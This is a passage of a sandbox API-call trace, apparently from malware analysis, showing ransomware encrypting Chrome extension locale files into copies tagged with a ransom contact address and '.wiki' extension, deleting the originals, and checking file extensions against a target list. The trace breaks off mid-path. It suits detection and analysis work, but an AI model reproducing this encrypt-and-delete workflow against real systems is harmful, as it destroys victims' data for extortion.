0x0 [0177.031] ReadFile (in: hFile=0x2dc, lpBuffer=0x3f30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesRead=0x33dfed4*=0x1c2, lpOverlapped=0x0) returned 1 [0177.032] WriteFile (in: hFile=0x1a4, lpBuffer=0x3f30020*, nNumberOfBytesToWrite=0x1d0, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesWritten=0x33dfc9c*=0x1d0, lpOverlapped=0x0) returned 1 [0177.033] ReadFile (in: hFile=0x2dc, lpBuffer=0x3f30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesRead=0x33dfed4*=0x0, lpOverlapped=0x0) returned 1 [0177.033] WriteFile (in: hFile=0x1a4, lpBuffer=0x3f30020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesWritten=0x33dfc9c*=0xee, lpOverlapped=0x0) returned 1 [0177.033] SetEndOfFile (hFile=0x1a4) returned 1 [0177.033] CloseHandle (hObject=0x1a4) returned 1 [0177.033] SetFilePointerEx (in: hFile=0x2dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0177.033] SetEndOfFile (hFile=0x2dc) returned 1 [0177.034] CloseHandle (hObject=0x2dc) returned 1 [0177.034] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\lo\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0177.034] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\lo\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\lo\\messages.json")) returned 1 [0177.034] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\lo\\messages.json") returned 151 [0177.034] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\lo\\messages.json") returned 151 [0177.034] lstrlenW (lpString=".doc") returned 4 [0177.034] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0177.034] lstrlenW (lpString=".docx") returned 5 [0177.035] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0177.035] lstrlenW (lpString=".pdf") returned 4 [0177.035] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0177.035] lstrlenW (lpString=".xls") returned 4 [0177.035] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0177.035] lstrlenW (lpString=".xlsx") returned 5 [0177.035] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0177.035] lstrlenW (lpString=".ppt") returned 4 [0177.035] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0177.035] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\lo\\messages.json") returned 151 [0177.035] lstrlenW (lpString=".zip") returned 4 [0177.035] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0177.035] lstrlenW (lpString=".rar") returned 4 [0177.035] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0177.035] lstrlenW (lpString=".bz2") returned 4 [0177.035] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0177.035] lstrlenW (lpString=".7z") returned 3 [0177.035] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0177.035] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\lo\\messages.json") returned 151 [0177.035] lstrlenW (lpString=".dbf") returned 4 [0177.035] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0177.035] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\lo\\messages.json") returned 151 [0177.035] lstrlenW (lpString=".1cd") returned 4 [0177.035] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0177.035] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\lo\\messages.json") returned 151 [0177.035] lstrlenW (lpString=".jpg") returned 4 [0177.035] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0177.035] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\lo\\messages.json") returned 151 [0177.036] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\lo\\messages.json") returned 151 [0177.036] lstrlenW (lpString=".doc") returned 4 [0177.036] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0177.036] lstrlenW (lpString=".docx") returned 5 [0177.036] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0177.036] lstrlenW (lpString=".pdf") returned 4 [0177.036] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0177.036] lstrlenW (lpString=".xls") returned 4 [0177.036] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0177.036] lstrlenW (lpString=".xlsx") returned 5 [0177.036] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0177.036] lstrlenW (lpString=".ppt") returned 4 [0177.036] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0177.036] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\lo\\messages.json") returned 151 [0177.036] lstrlenW (lpString=".zip") returned 4 [0177.036] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0177.036] lstrlenW (lpString=".rar") returned 4 [0177.036] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0177.036] lstrlenW (lpString=".bz2") returned 4 [0177.036] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0177.036] lstrlenW (lpString=".7z") returned 3 [0177.036] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0177.036] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\lo\\messages.json") returned 151 [0177.036] lstrlenW (lpString=".dbf") returned 4 [0177.036] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0177.036] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\lo\\messages.json") returned 151 [0177.036] lstrlenW (lpString=".1cd") returned 4 [0177.036] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0177.036] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\lo\\messages.json") returned 151 [0177.036] lstrlenW (lpString=".jpg") returned 4 [0177.036] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0177.037] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0177.037] lstrlenW (lpString="messages.json") returned 13 [0177.037] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\lt\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\lt\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2dc [0177.037] GetFileSizeEx (in: hFile=0x2dc, lpFileSize=0x33dff1c | out: lpFileSize=0x33dff1c*=213) returned 1 [0177.037] CloseHandle (hObject=0x2dc) returned 1 [0177.037] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\lt\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\lt\\messages.json")) returned 0x2020 [0177.037] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\lt\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\lt\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0177.038] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\lt\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\lt\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2dc [0177.038] SetFilePointerEx (in: hFile=0x2dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0177.038] SetFilePointerEx (in: hFile=0x2dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0177.038] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\lt\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\lt\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0177.038] GetLastError () returned 0x0 [0177.038] ReadFile (in: hFile=0x2dc, lpBuffer=0x3f30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesRead=0x33dfed4*=0xd5, lpOverlapped=0x0) returned 1 [0177.039] WriteFile (in: hFile=0x1a4, lpBuffer=0x3f30020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesWritten=0x33dfc9c*=0xe0, lpOverlapped=0x0) returned 1 [0177.040] ReadFile (in: hFile=0x2dc, lpBuffer=0x3f30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesRead=0x33dfed4*=0x0, lpOverlapped=0x0) returned 1 [0177.040] WriteFile (in: hFile=0x1a4, lpBuffer=0x3f30020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesWritten=0x33dfc9c*=0xee, lpOverlapped=0x0) returned 1 [0177.040] SetEndOfFile (hFile=0x1a4) returned 1 [0177.041] CloseHandle (hObject=0x1a4) returned 1 [0177.041] SetFilePointerEx (in: hFile=0x2dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0177.041] SetEndOfFile (hFile=0x2dc) returned 1 [0177.041] CloseHandle (hObject=0x2dc) returned 1 [0177.041] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\lt\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0177.042] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\lt\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\lt\\messages.json")) returned 1 [0177.042] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\lt\\messages.json") returned 151 [0177.042] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\lt\\messages.json") returned 151 [0177.042] lstrlenW (lpString=".doc") returned 4 [0177.042] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0177.042] lstrlenW (lpString=".docx") returned 5 [0177.042] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0177.042] lstrlenW (lpString=".pdf") returned 4 [0177.042] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0177.042] lstrlenW (lpString=".xls") returned 4 [0177.042] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0177.042] lstrlenW (lpString=".xlsx") returned 5 [0177.042] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0177.042] lstrlenW (lpString=".ppt") returned 4 [0177.042] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0177.042] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\lt\\messages.json") returned 151 [0177.042] lstrlenW (lpString=".zip") returned 4 [0177.042] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0177.042] lstrlenW (lpString=".rar") returned 4 [0177.042] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0177.042] lstrlenW (lpString=".bz2") returned 4 [0177.043] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0177.043] lstrlenW (lpString=".7z") returned 3 [0177.043] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0177.043] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\lt\\messages.json") returned 151 [0177.043] lstrlenW (lpString=".dbf") returned 4 [0177.043] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0177.043] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\lt\\messages.json") returned 151 [0177.043] lstrlenW (lpString=".1cd") returned 4 [0177.043] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0177.043] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\lt\\messages.json") returned 151 [0177.043] lstrlenW (lpString=".jpg") returned 4 [0177.043] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0177.043] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\lt\\messages.json") returned 151 [0177.043] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\lt\\messages.json") returned 151 [0177.043] lstrlenW (lpString=".doc") returned 4 [0177.043] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0177.043] lstrlenW (lpString=".docx") returned 5 [0177.043] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0177.043] lstrlenW (lpString=".pdf") returned 4 [0177.043] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0177.043] lstrlenW (lpString=".xls") returned 4 [0177.043] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0177.043] lstrlenW (lpString=".xlsx") returned 5 [0177.043] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0177.043] lstrlenW (lpString=".ppt") returned 4 [0177.043] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0177.043] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\lt\\messages.json") returned 151 [0177.043] lstrlenW (lpString=".zip") returned 4 [0177.043] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0177.043] lstrlenW (lpString=".rar") returned 4 [0177.044] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0177.044] lstrlenW (lpString=".bz2") returned 4 [0177.044] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0177.044] lstrlenW (lpString=".7z") returned 3 [0177.044] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0177.044] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\lt\\messages.json") returned 151 [0177.044] lstrlenW (lpString=".dbf") returned 4 [0177.044] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0177.044] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\lt\\messages.json") returned 151 [0177.044] lstrlenW (lpString=".1cd") returned 4 [0177.044] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0177.044] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\lt\\messages.json") returned 151 [0177.044] lstrlenW (lpString=".jpg") returned 4 [0177.044] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0177.044] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0177.044] lstrlenW (lpString="messages.json") returned 13 [0177.044] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\lv\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\lv\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2dc [0177.045] GetFileSizeEx (in: hFile=0x2dc, lpFileSize=0x33dff1c | out: lpFileSize=0x33dff1c*=198) returned 1 [0177.045] CloseHandle (hObject=0x2dc) returned 1 [0177.045] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\lv\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\lv\\messages.json")) returned 0x2020 [0177.045] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\lv\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\lv\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0177.045] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\lv\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\lv\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2dc [0177.045] SetFilePointerEx (in: hFile=0x2dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0177.045] SetFilePointerEx (in: hFile=0x2dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0177.045] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\lv\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\lv\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0177.046] GetLastError () returned 0x0 [0177.046] ReadFile (in: hFile=0x2dc, lpBuffer=0x3f30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesRead=0x33dfed4*=0xc6, lpOverlapped=0x0) returned 1 [0177.047] WriteFile (in: hFile=0x1a4, lpBuffer=0x3f30020*, nNumberOfBytesToWrite=0xd0, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesWritten=0x33dfc9c*=0xd0, lpOverlapped=0x0) returned 1 [0177.047] ReadFile (in: hFile=0x2dc, lpBuffer=0x3f30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesRead=0x33dfed4*=0x0, lpOverlapped=0x0) returned 1 [0177.048] WriteFile (in: hFile=0x1a4, lpBuffer=0x3f30020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesWritten=0x33dfc9c*=0xee, lpOverlapped=0x0) returned 1 [0177.048] SetEndOfFile (hFile=0x1a4) returned 1 [0177.048] CloseHandle (hObject=0x1a4) returned 1 [0177.048] SetFilePointerEx (in: hFile=0x2dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0177.048] SetEndOfFile (hFile=0x2dc) returned 1 [0177.049] CloseHandle (hObject=0x2dc) returned 1 [0177.049] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\lv\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0177.049] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\lv\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\lv\\messages.json")) returned 1 [0177.049] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\lv\\messages.json") returned 151 [0177.049] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\lv\\messages.json") returned 151 [0177.049] lstrlenW (lpString=".doc") returned 4 [0177.049] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0177.049] lstrlenW (lpString=".docx") returned 5 [0177.049] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0177.049] lstrlenW (lpString=".pdf") returned 4 [0177.340] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0177.340] lstrlenW (lpString=".xls") returned 4 [0177.340] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0177.340] lstrlenW (lpString=".xlsx") returned 5 [0177.340] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0177.340] lstrlenW (lpString=".ppt") returned 4 [0177.340] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0177.340] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User 